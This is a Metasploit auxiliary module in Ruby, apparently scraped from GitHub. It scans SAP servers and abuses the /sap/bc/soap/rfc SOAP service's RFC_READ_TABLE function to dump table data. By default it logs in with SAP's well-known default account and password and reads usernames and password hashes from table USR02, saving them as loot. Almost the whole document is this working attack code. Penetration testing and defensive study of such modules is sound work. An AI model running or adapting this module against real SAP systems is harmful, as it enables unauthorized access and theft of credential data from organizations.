Skip to content
This repository
branch: master
Fetching contributors…

Octocat-spinner-32-eaf2f5

Cannot retrieve contributors at this time

file 148 lines (139 sloc) 5.747 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data',
      'Description' => %q{
This module makes use of the RFC_READ_TABLE Function to read data from tables using
the /sap/bc/soap/rfc SOAP service.
},
      'References' =>
        [
          [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
        ],
      'Author' =>
        [
          'Agnivesh Sathasivam',
          'nmonkee'
        ],
      'License' => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('CLIENT', [true, 'SAP client', '001']),
        OptString.new('USERNAME', [true, 'Username', 'SAP*']),
        OptString.new('PASSWORD', [true, 'Password', '06071992']),
        OptString.new('TABLE', [true, 'Table to read', 'USR02']),
        OptString.new('FIELDS', [true, 'Fields to read', 'BNAME,BCODE'])
      ], self.class)
  end

  def run_host(ip)
    columns = []
    columns << '*' if datastore['FIELDS'].nil? or datastore['FIELDS'].empty?
    if datastore['FIELDS']
      columns.push(datastore['FIELDS']) if datastore['FIELDS'] =~ /^\w?/
      columns = datastore['FIELDS'].split(',') if datastore['FIELDS'] =~ /\w*,\w*/
    end
    fields = ''
    columns.each do |d|
      fields << "<item><FIELDNAME>" + d.gsub(/\s+/, "") + "</FIELDNAME></item>"
    end
    exec(ip,fields)
  end

  def exec(ip,fields)
    data = '<?xml version="1.0" encoding="utf-8" ?>'
    data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
    data << '<env:Body>'
    data << '<n1:RFC_READ_TABLE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
    data << '<DELIMITER xsi:type="xsd:string">|</DELIMITER>'
    data << '<NO_DATA xsi:nil="true"></NO_DATA>'
    data << '<QUERY_TABLE xsi:type="xsd:string">' + datastore['TABLE'] + '</QUERY_TABLE>'
    data << '<DATA xsi:nil="true"></DATA>'
    data << '<FIELDS xsi:nil="true">' + fields + '</FIELDS>'
    data << '<OPTIONS xsi:nil="true"></OPTIONS>'
    data << '</n1:RFC_READ_TABLE>'
    data << '</env:Body>'
    data << '</env:Envelope>'
    print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
    begin
      res = send_request_cgi({
        'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
        'method' => 'POST',
        'data' => data,
        'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
        'ctype' => 'text/xml; charset=UTF-8',
        'headers' =>{
          'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
          #'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
          #'Authorization' => 'Basic ' + user_pass,
          #'Content-Type' =>
          }
        })
      if res and res.code != 500 and res.code != 200
        # to do - implement error handlers for each status code, 404, 301, etc.
        if res.body =~ /<h1>Logon failed<\/h1>/
          print_error("[SAP] #{ip}:#{rport} - login failed!")
        else
          print_error("[SAP] #{ip}:#{rport} - something went wrong!")
        end
        return
      elsif res and res.body =~ /Exception/
        response = res.body
        error = response.scan(%r{<faultstring>(.*?)</faultstring>})
        0.upto(error.length-1) do |i|
          print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
        end
        return
      elsif res
        response = res.body
        output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
        print_status("[SAP] #{ip}:#{rport} - got response")
        saptbl = Msf::Ui::Console::Table.new(
          Msf::Ui::Console::Table::Style::Default,
          'Header' => "[SAP] RFC_READ_TABLE",
          'Prefix' => "\n",
          'Postfix' => "\n",
          'Indent' => 1,
          'Columns' => ["Returned Data"]
        )
        0.upto(output.length-1) do |i|
          saptbl << [output[i]]
        end
        print(saptbl.to_s)
        this_service = report_service(
          :host => ip,
          :port => rport,
          :name => 'sap',
          :proto => 'tcp'
        )
        loot_path = store_loot("sap.tables.data", "text/plain", ip, saptbl.to_s, "#{ip}_sap_#{datastore['TABLE'].downcase}.txt", "SAP Data", this_service)
        print_good("[SAP] #{ip}:#{rport} - Data stored in #{loot_path}")
        return
      else
        print_error("[SAP] #{ip}:#{rport} - Unknown error")
        return
      end
    rescue ::Rex::ConnectionError
      print_error("[SAP] #{ip}:#{rport} - Unable to connect")
    end
  end
end
Something went wrong with that request. Please try again.